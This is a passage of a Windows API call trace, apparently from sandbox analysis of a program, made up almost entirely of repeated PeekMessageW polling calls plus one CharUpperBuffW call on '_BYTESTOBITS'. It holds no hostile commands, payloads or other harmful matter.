lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.121] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.122] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.123] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.124] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.125] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.126] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.126] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: 